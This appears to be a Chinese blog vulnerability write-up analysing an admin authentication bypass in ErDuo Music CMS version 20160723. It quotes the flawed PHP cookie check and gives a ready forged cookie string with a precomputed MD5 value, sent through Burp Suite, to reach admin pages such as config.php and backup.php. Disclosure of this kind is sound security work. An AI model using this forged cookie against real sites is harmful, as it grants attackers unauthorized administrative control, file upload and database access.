php耳朵音乐cns_耳朵音乐CMS 免认证登录

漏洞版本20160723,官方于今天修复了该漏洞。

0x01:漏洞分析

在文件 admin.php 第四行:$frames = array('login', 'index', 'body', 'config'....);

$iframe = !empty($_GET['iframe']) && in_array($_GET['iframe'], $frames) ? $_GET['iframe'] : 'login';

include_once 'source/admincp/module/'.$iframe.'.php';

变量 $iframe 通过 GET 方式获取值,如果 iframe 的值不在数组 frames 里就定向到 "login.php"。我们以 "config.php" 为例,当传入参数 "?iframe=config" 时将包含文件 "source/admincp/module/config.php",跟进该文件从第二行可以看到如下代码:if(!defined('IN_ROOT')){exit('Access denied');}

Administrator(2);

$action=SafeRequest("action","get");

跟进函数 "Administrator",在 "source/admincp/include/function.php" 第三十九行定义了 "Administrator":function Administrator($value){

if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){

ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);

}

setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);

if(!empty($_COOKIE['in_permission'])){

$array=explode(",",$_COOKIE['in_permission']);

$adminlogined=false;

for($i=0;$i

if($array[$i]==$value){$adminlogined=true;}

}

if(!$adminlogined){

ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0);

}

}else{

ShowMessage("帐号异常,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);

}

}

这段代码通过 cookie 验证登录用户信息,将 "in_adminid","in_adminname","in_adminpassword","in_permission" 拼接在一起 MD5 后与 "in_adminexpire" 的值比较,左右两值相等就通过验证,再通过 "in_permision" 验证该用户是否有本页面权限。在数组 "frames" 中的页面都没有通过数据库验证用户信息,因为 cookie 我们是可控的所以我们很容易绕过它的验证方式。以 "config.php" 为例,先进入 "http://xxx.xxx.xxx.xxx/qwyy/admin.php" (这步我也不知道为什么要这样,直接进入 "http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config"不能成功 QAQ,改了 Refer 也不行):这时候我们没有保存cookie,页面将会跳转到 "login.php":

再次登录 "http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config" 用 burpsuit 截取数据包修改 cookie 为:in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_adminexpire=b2e9b95b82be9264c3368b3f0de34f08

截图结果显示我们成功绕过验证并登录到 "config.php",利用此方法可以登录到 "config.php","backup.php","index.php"等页面进行文件上传,数据库备份以及其他危险操作:

Author:LionEiJonson

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值